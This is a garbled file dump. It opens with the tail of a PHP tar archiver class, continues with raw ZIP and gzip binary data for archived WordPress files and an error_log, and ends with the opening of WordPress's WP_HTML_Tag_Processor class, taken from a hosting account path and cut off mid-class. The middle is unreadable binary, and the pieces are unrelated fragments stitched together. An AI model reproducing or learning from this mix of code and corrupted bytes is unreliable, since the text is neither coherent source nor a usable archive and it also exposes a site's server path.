          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\�KW�ggerror_log.tar.gznu�[������o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
